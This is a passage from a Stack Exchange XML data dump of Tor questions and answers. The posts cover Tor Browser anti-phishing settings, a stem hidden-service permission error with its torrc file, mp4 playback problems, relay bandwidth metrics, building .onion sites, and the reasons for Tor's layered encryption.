as relays start updating in October 2021.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2021-02-10T22:14:09.900" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22024" PostTypeId="1" AcceptedAnswerId="22025" CreationDate="2021-02-11T00:28:04.877" Score="1" ViewCount="159" Body="&lt;p&gt;The Tor browser has a setting in about:preferences#privacy to block dangerous and deceptive content. This includes blocking dangerous downloads and warning the user about unwanted and uncommon software. This setting is from Mozilla Firefox's settings. This setting is actually helpful in protecting the user's privacy and anonymity since scams attempting to expose the user's identity and personal information can be blocked. But I haven't heard or learned about more ways Tor blocks fraudulent websites in detail. Can someone experienced tell me any other ways the Tor browser blocks frauds and scams if they do so? Are there any other settings I can enable in the Tor browser to protect myself from scams and frauds?&lt;/p&gt;&#xA;" OwnerUserId="31632" LastActivityDate="2021-02-11T01:04:56.577" Title="How does Tor browser protect against fraudulent pages?" Tags="|tor-browser-bundle|configuration|settings|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22025" PostTypeId="2" ParentId="22024" CreationDate="2021-02-11T01:04:56.577" Score="0" Body="&lt;p&gt;As far as I know the only extra feature that Tor Browser implements compared to Firefox to block fraudulent/hijacked webpages is the inclusion of the &lt;a href=&quot;https://www.eff.org/https-everywhere&quot; rel=&quot;nofollow noreferrer&quot;&gt;HTTPS Everywhere&lt;/a&gt; extension, which forces HTTPS on some specific websites. This helps to prevent man-in-the-middle attacks such as SSL stripping which can show the attacker's webpage rather than the real webpage, but only on supported websites. This is enabled by default.&lt;/p&gt;&#xA;&lt;p&gt;When using Tor Browser, you must still follow the usual browsing safety measures. For example, check the URL to make sure you're on the correct website and using HTTPS (especially when providing a password), don't follow links in emails, only download files from trusted sources, etc.&lt;/p&gt;&#xA;&lt;p&gt;When using the Tor Browser, you should use the default settings unless you are sure that changing them won't be harmful. For example, enabling the &amp;quot;Block dangerous and deceptive content&amp;quot; setting may make you fingerprintable. &lt;a href=&quot;https://support.mozilla.org/en-US/kb/how-does-phishing-and-malware-protection-work#w_how-does-phishing-and-malware-protection-work-in-firefox#w_how-does-phishing-and-malware-protection-work-in-firefox&quot; rel=&quot;nofollow noreferrer&quot;&gt;In Firefox&lt;/a&gt;, enabling this setting may also send information about files you download and domain names that you visit to Mozilla and Google's servers. It's not clear to me if Tor Browser also does this when this setting is enabled.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2021-02-11T01:04:56.577" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22026" PostTypeId="1" CreationDate="2021-02-11T15:45:24.133" Score="1" ViewCount="306" Body="&lt;p&gt;I am trying to deploy a new hidden service using Tor's stem library for Python3, but I am always receiving errors that the service can not be created due to '&lt;strong&gt;[Errno 13] Permission denied&lt;/strong&gt;' issue.&#xA;I am actually just copying, pasting and modifying (the password) this code &lt;a href=&quot;https://stem.torproject.org/tutorials/over_the_river.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://stem.torproject.org/tutorials/over_the_river.html&lt;/a&gt; and running it from my Ubuntu 20.10 machine.&lt;/p&gt;&#xA;&lt;p&gt;The exact &lt;strong&gt;Python3 code&lt;/strong&gt; I am running is:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import os&#xA;import shutil&#xA; &#xA;from stem.control import Controller&#xA;from flask import Flask&#xA; &#xA;app = Flask(__name__)&#xA; &#xA; &#xA;@app.route('/')&#xA;def index():&#xA;  return &amp;quot;&amp;lt;h1&amp;gt;Hi Grandma!&amp;lt;/h1&amp;gt;&amp;quot;&#xA; &#xA; &#xA;print(' * Connecting to tor')&#xA; &#xA;with Controller.from_port(port=9051) as controller:&#xA;  controller.authenticate(password=&amp;quot;my_password&amp;quot;)&#xA; &#xA;  # All hidden services have a directory on disk. Lets put ours in tor's data&#xA;  # directory.&#xA; &#xA;  hidden_service_dir = os.path.join(controller.get_conf('DataDirectory', '/tmp'), 'hello_world')&#xA;  print(hidden_service_dir)&#xA;  # Create a hidden service where visitors of port 80 get redirected to local&#xA;  # port 5000 (this is where Flask runs by default).&#xA; &#xA;  print(&amp;quot; * Creating our hidden service in %s&amp;quot; % hidden_service_dir)&#xA;  result = controller.create_hidden_service(hidden_service_dir, 80, target_port = 5000) # THIS returns None and says Permission denied&#xA; &#xA;  # The hostname is only available when we can read the hidden service&#xA;  # directory. This requires us to be running with the same user as tor.&#xA; &#xA;  if result.hostname:&#xA;    print(&amp;quot; * Our service is available at %s, press ctrl+c to quit&amp;quot; % result.hostname)&#xA;  else:&#xA;    print(&amp;quot; * Unable to determine our service's hostname, probably due to being unable to read the hidden service directory&amp;quot;)&#xA; &#xA;  try:&#xA;    app.run()&#xA;  finally:&#xA;    # Shut down the hidden service and clean it off disk. Note that you *don't*&#xA;    # want to delete the hidden service directory if you'd like to have this&#xA;    # same *.onion address in the future.&#xA; &#xA;    print(&amp;quot; * Shutting down our hidden service&amp;quot;)&#xA;    controller.remove_hidden_service(hidden_service_dir)&#xA;    shutil.rmtree(hidden_service_dir)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And this is the &lt;strong&gt;torrc config&lt;/strong&gt; file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;## Configuration file for a typical Tor user&#xA;## Last updated 9 October 2013 for Tor 0.2.5.2-alpha.&#xA;## (may or may not work for much older or much newer versions of Tor.)&#xA;##&#xA;## Lines that begin with &amp;quot;## &amp;quot; try to explain what's going on. Lines&#xA;## that begin with just &amp;quot;#&amp;quot; are disabled commands: you can enable them&#xA;## by removing the &amp;quot;#&amp;quot; symbol.&#xA;##&#xA;## See 'man tor', or https://www.torproject.org/docs/tor-manual.html,&#xA;## for more options you can use in this file.&#xA;##&#xA;## Tor will look for this file in various places based on your platform:&#xA;## https://www.torproject.org/docs/faq#torrc&#xA; &#xA;## Tor opens a socks proxy on port 9050 by default -- even if you don't&#xA;## configure one below. Set &amp;quot;SocksPort 0&amp;quot; if you plan to run Tor only&#xA;## as a relay, and not make any local application connections yourself.&#xA;#SocksPort 9050 # Default: Bind to localhost:9050 for local connections.&#xA;#SocksPort 192.168.0.1:9100 # Bind to this address:port too.&#xA; &#xA;## Entry policies to allow/deny SOCKS requests based on IP address.&#xA;## First entry that matches wins. If no SocksPolicy is set, we accept&#xA;## all (and only) requests that reach a SocksPort. Untrusted users who&#xA;## can access your SocksPort may be able to learn about the connections&#xA;## you make.&#xA;#SocksPolicy accept 192.168.0.0/16&#xA;#SocksPolicy reject *&#xA; &#xA;## Logs go to stdout at level &amp;quot;notice&amp;quot; unless redirected by something&#xA;## else, like one of the below lines. You can have as many Log lines as&#xA;## you want.&#xA;##&#xA;## We advise using &amp;quot;notice&amp;quot; in most cases, since anything more verbose&#xA;## may provide sensitive information to an attacker who obtains the logs.&#xA;##&#xA;## Send all messages of level 'notice' or higher to /var/log/tor/notices.log&#xA;Log notice file /var/log/tor/notices.log&#xA;## Send every possible message to /var/log/tor/debug.log&#xA;Log debug file /var/log/tor/debug.log&#xA;## Use the system log instead of Tor's logfiles&#xA;#Log notice syslog&#xA;## To send all messages to stderr:&#xA;#Log debug stderr&#xA; &#xA;## Uncomment this to start the process in the background... or use&#xA;## --runasdaemon 1 on the command line. This is ignored on Windows;&#xA;## see the FAQ entry if you want Tor to run as an NT service.&#xA;#RunAsDaemon 1&#xA; &#xA;## The directory for keeping all the keys/etc. By default, we store&#xA;## things in $HOME/.tor on Unix, and in Application Data\tor on Windows.&#xA;DataDirectory /var/lib/tor&#xA; &#xA;## The port on which Tor will listen for local connections from Tor&#xA;## controller applications, as documented in control-spec.txt.&#xA;ControlPort 9051&#xA;## If you enable the controlport, be sure to enable one of these&#xA;## authentication methods, to prevent attackers from accessing it.&#xA;HashedControlPassword 16:163032F0D98F2EE9609CF54B51877BBBE4A065733EA7785BE5EE1E2026&#xA; &#xA;CookieAuthentication 1&#xA;DataDirectoryGroupReadable 1&#xA;CookieAuthFileGroupReadable 1&#xA;ExtORPortCookieAuthFileGroupReadable 1&#xA;CacheDirectoryGroupReadable 1&#xA;CookieAuthFile /var/lib/tor/control_auth_cookie&#xA; &#xA;############### This section is just for location-hidden services ###&#xA; &#xA;## Once you have configured a hidden service, you can look at the&#xA;## contents of the file &amp;quot;.../hidden_service/hostname&amp;quot; for the address&#xA;## to tell people.&#xA;##&#xA;## HiddenServicePort x y:z says to redirect requests on port x to the&#xA;## address y:z.&#xA; &#xA;#HiddenServiceDir /tmp/tor/&#xA;#HiddenServiceDir /var/lib/tor/hidden_service/&#xA;#HiddenServicePort 80 127.0.0.1:5000&#xA; &#xA;#HiddenServiceDir /var/lib/tor/other_hidden_service/&#xA;#HiddenServicePort 80 127.0.0.1:80&#xA;#HiddenServicePort 22 127.0.0.1:22&#xA; &#xA;################ This section is just for relays #####################&#xA;#&#xA;## See https://www.torproject.org/docs/tor-doc-relay for details.&#xA; &#xA;## Required: what port to advertise for incoming Tor connections.&#xA;#ORPort 9001&#xA;## If you want to listen on a port other than the one advertised in&#xA;## ORPort (e.g. to advertise 443 but bind to 9090), you can do it as&#xA;## follows.  You'll need to do ipchains or other port forwarding&#xA;## yourself to make this work.&#xA;#ORPort 443 NoListen&#xA;#ORPort 127.0.0.1:9090 NoAdvertise&#xA; &#xA;## The IP address or full DNS name for incoming connections to your&#xA;## relay. Leave commented out and Tor will guess.&#xA;#Address noname.example.com&#xA; &#xA;## If you have multiple network interfaces, you can specify one for&#xA;## outgoing traffic to use.&#xA;# OutboundBindAddress 10.0.0.5&#xA; &#xA;## A handle for your relay, so people don't have to refer to it by key.&#xA;#Nickname ididnteditheconfig&#xA; &#xA;## Define these to limit how much relayed traffic you will allow. Your&#xA;## own traffic is still unthrottled. Note that RelayBandwidthRate must&#xA;## be at least 20 KB.&#xA;## Note that units for these config options are bytes per second, not bits&#xA;## per second, and that prefixes are binary prefixes, i.e. 2^10, 2^20, etc.&#xA;#RelayBandwidthRate 100 KB  # Throttle traffic to 100KB/s (800Kbps)&#xA;#RelayBandwidthBurst 200 KB # But allow bursts up to 200KB/s (1600Kbps)&#xA; &#xA;## Use these to restrict the maximum traffic per day, week, or month.&#xA;## Note that this threshold applies separately to sent and received bytes,&#xA;## not to their sum: setting &amp;quot;4 GB&amp;quot; may allow up to 8 GB total before&#xA;## hibernating.&#xA;##&#xA;## Set a maximum of 4 gigabytes each way per period.&#xA;#AccountingMax 4 GB&#xA;## Each period starts daily at midnight (AccountingMax is per day)&#xA;#AccountingStart day 00:00&#xA;## Each period starts on the 3rd of the month at 15:00 (AccountingMax&#xA;## is per month)&#xA;#AccountingStart month 3 15:00&#xA; &#xA;## Administrative contact information for this relay or bridge. This line&#xA;## can be used to contact you if your relay or bridge is misconfigured or&#xA;## something else goes wrong. Note that we archive and publish all&#xA;## descriptors containing these lines and that Google indexes them, so&#xA;## spammers might also collect them. You may want to obscure the fact that&#xA;## it's an email address and/or generate a new address for this purpose.&#xA;#ContactInfo Random Person &amp;lt;nobody AT example dot com&amp;gt;&#xA;## You might also include your PGP or GPG fingerprint if you have one:&#xA;#ContactInfo 0xFFFFFFFF Random Person &amp;lt;nobody AT example dot com&amp;gt;&#xA; &#xA;## Uncomment this to mirror directory information for others. Please do&#xA;## if you have enough bandwidth.&#xA;#DirPort 9030 # what port to advertise for directory connections&#xA;## If you want to listen on a port other than the one advertised in&#xA;## DirPort (e.g. to advertise 80 but bind to 9091), you can do it as&#xA;## follows.  below too. You'll need to do ipchains or other port&#xA;## forwarding yourself to make this work.&#xA;#DirPort 80 NoListen&#xA;#DirPort 127.0.0.1:9091 NoAdvertise&#xA;## Uncomment to return an arbitrary blob of html on your DirPort. Now you&#xA;## can explain what Tor is if anybody wonders why your IP address is&#xA;## contacting them. See contrib/tor-exit-notice.html in Tor's source&#xA;## distribution for a sample.&#xA;#DirPortFrontPage /etc/tor/tor-exit-notice.html&#xA; &#xA;## Uncomment this if you run more than one Tor relay, and add the identity&#xA;## key fingerprint of each Tor relay you control, even if they're on&#xA;## different networks. You declare it here so Tor clients can avoid&#xA;## using more than one of your relays in a single circuit. See&#xA;## https://www.torproject.org/docs/faq#MultipleRelays&#xA;## However, you should never include a bridge's fingerprint here, as it would&#xA;## break its concealability and potentionally reveal its IP/TCP address.&#xA;#MyFamily $keyid,$keyid,...&#xA; &#xA;## A comma-separated list of exit policies. They're considered first&#xA;## to last, and the first match wins. If you want to _replace_&#xA;## the default exit policy, end this with either a reject *:* or an&#xA;## accept *:*. Otherwise, you're _augmenting_ (prepending to) the&#xA;## default exit policy. Leave commented to just use the default, which is&#xA;## described in the man page or at&#xA;## https://www.torproject.org/documentation.html&#xA;##&#xA;## Look at https://www.torproject.org/faq-abuse.html#TypicalAbuses&#xA;## for issues you might encounter if you use the default exit policy.&#xA;##&#xA;## If certain IPs and ports are blocked externally, e.g. by your firewall,&#xA;## you should update your exit policy to reflect this -- otherwise Tor&#xA;## users will be told that those destinations are down.&#xA;##&#xA;## For security, by default Tor rejects connections to private (local)&#xA;## networks, including to your public IP address. See the man page entry&#xA;## for ExitPolicyRejectPrivate if you want to allow &amp;quot;exit enclaving&amp;quot;.&#xA;##&#xA;#ExitPolicy accept *:6660-6667,reject *:* # allow irc ports but no more&#xA;#ExitPolicy accept *:119 # accept nntp as well as default exit policy&#xA;#ExitPolicy reject *:* # no exits allowed&#xA; &#xA;## Bridge relays (or &amp;quot;bridges&amp;quot;) are Tor relays that aren't listed in the&#xA;## main directory. Since there is no complete public list of them, even an&#xA;## ISP that filters connections to all the known Tor relays probably&#xA;## won't be able to block all the bridges. Also, websites won't treat you&#xA;## differently because they won't know you're running Tor. If you can&#xA;## be a real relay, please do; but if not, be a bridge!&#xA;#BridgeRelay 1&#xA;## By default, Tor will advertise your bridge to users through various&#xA;## mechanisms like https://bridges.torproject.org/. If you want to run&#xA;## a private bridge, for example because you'll give out your bridge&#xA;## address manually to your friends, uncomment this line:&#xA;#PublishServerDescriptor 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Any ideas what is going on?&#xA;I have tried to chmod and chown the directories and files in /var/lib/tor to debian-tor user, but without any luck. So, this is how it looks now:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;sudo ls -l /var/lib/tor&#xA;&#xA;total 10076&#xA;-rwx------ 1 debian-tor debian-tor   20472 feb 11 09:12 cached-certs&#xA;-rwx------ 1 debian-tor debian-tor 2277055 feb 11 15:52 cached-microdesc-consensus&#xA;-rwx------ 1 debian-tor debian-tor 7918599 feb 11 09:42 cached-microdescs&#xA;-rwx------ 1 debian-tor debian-tor   63812 feb 11 15:56 cached-microdescs.new&#xA;-rw-r----- 1 debian-tor debian-tor      32 feb 11 16:29 control_auth_cookie&#xA;drwx--S--- 3 debian-tor debian-tor    4096 feb 11 16:29 hello_world&#xA;drwx--S--- 3 debian-tor debian-tor    4096 feb 11 15:40 hidden_service&#xA;drwx--S--- 2 debian-tor debian-tor    4096 jan 26 14:42 keys&#xA;-rwx------ 1 debian-tor debian-tor       0 feb 11 16:29 lock&#xA;-rw------- 1 debian-tor debian-tor    5005 feb 11 16:31 state&#xA;drwx--S--- 3 debian-tor debian-tor    4096 feb 11 16:21 x&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Any help would be much appreciated!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Just to note:&lt;/strong&gt; The exact same config on my Raspberry Pi gives me the same issue - Permission denied.&lt;/p&gt;&#xA;&lt;p&gt;Thank you in advance&lt;/p&gt;&#xA;&lt;p&gt;EDIT: The issue in the Python code seems to be exactly on this line:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;result = controller.create_hidden_service(hidden_service_dir, 80, target_port = 5000)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="31738" LastActivityDate="2021-02-11T15:45:24.133" Title="Python3 + Tor's stem library =&gt; Permission denied when creating new hidden service" Tags="|python|stem|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="22027" PostTypeId="1" AcceptedAnswerId="22113" CreationDate="2021-02-11T19:17:46.833" Score="3" ViewCount="1157" Body="&lt;p&gt;Since a few days ago, can't pinpoint the date, &lt;code&gt;.mp4&lt;/code&gt; links fail to open; &lt;code&gt;.webm&lt;/code&gt; play fine. These are links to straight &lt;code&gt;.mp4&lt;/code&gt; files, not through custom players, or anything, and they did play before with the browser's native player. Now, opening them in a new tab, instead of a tab with the NoScript block waiting to be unlocked, all there is is an empty tab, as if there's not even a canvas; it's only the window colour (as defined in the window manager). BTW, this is Tor browser 10.0.10 in Archlinux x64 (official archive). The settings are set to no javascript, safest level (except when it's really needed, like now, when it's on &amp;quot;safer&amp;quot;), plus various other settings found on &lt;a href=&quot;https://www.privacytools.io/&quot; rel=&quot;nofollow noreferrer&quot;&gt;privacytools.io&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;This is how it looks like when opening a new tab, normally:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ht8s2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ht8s2.png&quot; alt=&quot;normal&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;and this is when I try to open a link:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/PxgSp.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PxgSp.png&quot; alt=&quot;now&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;media&lt;/code&gt; should still be blocked by NoScript, the overlay should have appeared, but there isn't. I notice there is traffic going on, the browser tries to buffer something, but nothing happens. I tried searching through &lt;code&gt;about:config&lt;/code&gt;, but there doesn't seem to be anything out of the ordinary. The NoScript extension shows it has been updated &amp;quot;Feb 4th&amp;quot;, so around the time when TB had an update, (more or less).&lt;/p&gt;&#xA;&lt;p&gt;Does this happen because of the TB or the NoScript? But, more importantly, what can be done to fix it?&lt;/p&gt;&#xA;&lt;p&gt;In addition, there are sites that don't display correctly, anymore. One of the is github. I can post screenshots, if needed. And the scrollbar now, when clicked, it doesn't scroll page by page, instead it goes where the mouse clicked. This is not how the desktop environment behaves (Xfce).&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Minor update: searching for browser test pages, I found &lt;a href=&quot;https://midimusic.github.io/browsertest/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt;. Towards the middle of the page there is a section &lt;em&gt;Diagnostic Videos&lt;/em&gt;. Opening the &lt;a href=&quot;https://midimusic.github.io/browsertest/mp4video.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;mp4&lt;/a&gt; link displays this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TUyna.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TUyna.png&quot; alt=&quot;nothing&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Nothing plays. The other media links are opened normally, with NoScript overlay which, removed, allows normal playback. Firefox has no problems.&lt;/p&gt;&#xA;&lt;p&gt;Given &lt;a href=&quot;https://tor.stackexchange.com/questions/22027/mp4-links-fail-to-open-and-other-minor-things-in-10-0-10#comment23543_22027&quot;&gt;Steve's comment below&lt;/a&gt; (and the reply), there may be a possibility that my system is lacking something. So what codecs does TB use and how can I check for those in my system?&lt;/p&gt;&#xA;" OwnerUserId="8164" LastEditorUserId="8164" LastEditDate="2021-02-12T19:00:13.277" LastActivityDate="2021-03-04T15:36:21.757" Title=".mp4 links fail to open, and other minor things in 10.0.10" Tags="|tor-browser-bundle|settings|troubleshooting|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="22028" PostTypeId="1" CreationDate="2021-02-13T11:00:31.887" Score="0" ViewCount="206" Body="&lt;p&gt;I am a new non-exit relay operator, currently running TOR v4.5.4 rc on a RaspberryPi 3B+, on a FTTH connection.&#xA;My relay is &lt;a href=&quot;https://metrics.torproject.org/rs.html#details/D4CB53B314610E6EBA3E583A861BE7B64402057C&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://metrics.torproject.org/rs.html#details/D4CB53B314610E6EBA3E583A861BE7B64402057C&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;As you can see, the relay is quite new but nevertheless old enough to have the Guard badge.&#xA;So I have successfully passed the phases 1 and 2 of this : &lt;a href=&quot;https://blog.torproject.org/lifecycle-new-relay&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blog.torproject.org/lifecycle-new-relay&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;My relay should now be used more and more. Both &amp;quot;Advertised bandwidth&amp;quot; and &amp;quot;Consensus weight&amp;quot; (meaning bandwidth measured by &amp;quot;Authorities bandwidth&amp;quot; if I have well understood) should be rising, at least they should be evolving in the same way.&lt;/p&gt;&#xA;&lt;p&gt;However :&lt;/p&gt;&#xA;&lt;p&gt;1/ My &amp;quot;RelayBandwidthRate&amp;quot; is set at 25MB/s in my torrc file and the &amp;quot;Advertised bandwidth&amp;quot; is only 5.71MB/s so the network is only seeing ~1/5 of my capacity.&#xA;I guess that I just have to wait but still, that is frustrating.&lt;/p&gt;&#xA;&lt;p&gt;2/ Even weirder, the bandwidth graph and the consensus weight/guard probability/middle probability graph are moving in opposite directions !&#xA;I really don't understand what is happening here.&#xA;My logs are not showing any warnings.&#xA;These two graphs were approximately correlated at the beginning but now, they are doing non-sense for me.&lt;/p&gt;&#xA;&lt;p&gt;Can you help me understand ?&#xA;Should I do something differently ?&lt;/p&gt;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/lnBd2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lnBd2.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="31745" LastActivityDate="2021-02-13T11:00:31.887" Title="Advertised bandwidth rising but consensus weight falling?" Tags="|relays|guard-node|bandwidth|raspberry-pi|consensus|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22029" PostTypeId="2" ParentId="4880" CreationDate="2021-02-13T22:11:24.250" Score="7" Body="&lt;p&gt;To actually answer your question, since nobody did that until now:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;shutdown Tor&lt;/li&gt;&#xA;&lt;li&gt;delete &lt;code&gt;/tor/state&lt;/code&gt; file&lt;/li&gt;&#xA;&lt;li&gt;restart Tor&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;In case you use TorBrowser on Windows the path is &lt;code&gt;...\Tor Browser\Browser\TorBrowser\Data\Tor\state&lt;/code&gt;. You can just kill tor.exe via Task Manager, delete the file, switch back to Tor Browser and have TB automatically restart Tor via the popup that tells you tor is no longer running.&lt;/p&gt;&#xA;" OwnerUserId="27940" LastActivityDate="2021-02-13T22:11:24.250" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22030" PostTypeId="2" ParentId="6681" CreationDate="2021-02-14T05:07:23.750" Score="0" Body="&lt;p&gt;May be it is a far late answer, but for others it may be useful. Actually it is possible. You can start TOR binary in android with custom torrc file. In torrc, you can configure an Android device to be acted as a TOR user.&lt;/p&gt;&#xA;&lt;p&gt;You can check my library for Android named &lt;a href=&quot;https://github.com/mirsamantajbakhsh/TorAndroid&quot; rel=&quot;nofollow noreferrer&quot;&gt;TorAndroid&lt;/a&gt; with custom torrc lines:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/O5br0.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/O5br0.png&quot; alt=&quot;TorAndroid Usage Code&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Use &lt;code&gt;TorBuilder.setExtra(EXTRA_LINE)&lt;/code&gt; for adding custom lines separated by &lt;code&gt;\r\n&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="19920" LastActivityDate="2021-02-14T05:07:23.750" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22031" PostTypeId="2" ParentId="21191" CreationDate="2021-02-14T05:13:10.360" Score="0" Body="&lt;p&gt;I've used Guardian Project's compiled Tor Android binaries in my Android library named as TorAndroid. You can check it here: &lt;a href=&quot;https://github.com/mirsamantajbakhsh/TorAndroid&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/mirsamantajbakhsh/TorAndroid&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you want compiled versions for Android, just check the main repo of Guardian Project:&#xA;&lt;a href=&quot;https://github.com/guardianproject/gpmaven/tree/master/org/torproject/tor-android-binary&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/guardianproject/gpmaven/tree/master/org/torproject/tor-android-binary&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19920" LastActivityDate="2021-02-14T05:13:10.360" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22032" PostTypeId="1" CreationDate="2021-02-14T08:21:46.177" Score="1" ViewCount="2503" Body="&lt;p&gt;Websites are primarily saved in &lt;code&gt;.htm(l)&lt;/code&gt; format, being based on HTML (hypertext mark-up language), CSS, sometimes Javascript.&lt;/p&gt;&#xA;&lt;p&gt;Are &lt;code&gt;.onion&lt;/code&gt; sites on the darknet no different, or are there unique coding language(s) for designing them?&lt;/p&gt;&#xA;&lt;p&gt;Is there special website design software, like Adobe Dreamweaver, made for designing &lt;code&gt;.onion&lt;/code&gt; sites?&lt;/p&gt;&#xA;" OwnerUserId="31488" LastActivityDate="2023-09-18T19:32:47.860" Title="Are .onion sites also written in HTML?" Tags="|onion-routing|website|javascript|web-hosting|html5|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22033" PostTypeId="2" ParentId="22032" CreationDate="2021-02-14T08:55:13.433" Score="2" Body="&lt;p&gt;Building onion websites is generally no different than building regular websites. The main difference is the underlying connection protocol and not the website itself. You build onion websites using the same tools such as a web server (Apache, Nginx, etc), the documents (HTML, css, etc), and server-side languages (PHP, NodeJS, etc). There is no special coding languages or design software. If you know how to build a regular website, then you will find it easy to build an onion website.&lt;/p&gt;&#xA;&lt;p&gt;Setting up an onion service is usually as simple as changing one or two lines of your tor configuration file (the torrc file) to point to your web server. If you need special features such as load balancing things get a little trickier, but a simple onion service is usually very easy to set up once you've built the website.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2021-02-14T08:55:13.433" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22035" PostTypeId="1" CreationDate="2021-02-14T14:23:59.930" Score="0" ViewCount="33" Body="&lt;p&gt;I'm trying to implement Tor protocol as a small project at school. I read the paper: &lt;a href=&quot;https://svn-archive.torproject.org/svn/projects/design-paper/tor-design.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://svn-archive.torproject.org/svn/projects/design-paper/tor-design.pdf&lt;/a&gt; and related-docs. But there's a couple thing I'm questioning and can't find the answer yet.&lt;/p&gt;&#xA;&lt;p&gt;1/ Why in Tor handshake protocol, public keys encryption are needed ? I understand that to extend relay to C through B, A need to encrypt the content with the B session key so only B know about C, preventing anyone snooping on the client gaining knowledge about the complete circuit A-B-C. But why also encrypt it with C public key ? It seems not necessary since the DH half-secret is supposed to be public, so there's nothing to hide, B can read the handshake package without problem. Even when handshaking A-B, I don't find it necessary to encrypt it with B public key for the same reason. Tor also doesn't need identification as TLS (which use public key for such purpose)&lt;/p&gt;&#xA;&lt;p&gt;2/ Why do multiple layers needed when transporting data ? From what I understand, once the circuit established, each relay hold a circID table to figure out the next relay, so what is being transferred is only the destination package, so only 1 encryption with exit node session key is need to prevent anyone from knowing the destination ? Even if entry guard snooping, it only sees the encrypted destination package and nothing else, the only thing it can do is to send it to the next relay.&lt;/p&gt;&#xA;&lt;p&gt;3/ The same when getting a response, why multiple encryption is needed ? It seems that 1 encryption with exit node session key is enough here.&lt;/p&gt;&#xA;&lt;p&gt;Thank you all very much for helping.&lt;/p&gt;&#xA;" OwnerUserId="31753" LastActivityDate="2021-02-14T14:23:59.930" Title="Trying to implement Tor protocols, why encryption is needed in some places?" Tags="|tor-browser-bundle|torproject.org|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22036" PostTypeId="2" ParentId="22032" CreationDate="2021-02-14T14:38:34.117" Score="-1" Body="&lt;p&gt;&lt;strong&gt;Short: What you want&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;You serve HTML on your .onion address, but also host .mp4 files or any binaries. JS and CSS, of course, too.&lt;/p&gt;&#xA;&lt;p&gt;The webserver doing that, can be the same for the &amp;quot;normal internet&amp;quot;. Tor only transmit that to the &amp;quot;darknet&amp;quot;.&lt;/p&gt;&#xA;" OwnerUserId="31754" LastActivityDate="2021-02-14T14:38:34.117" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
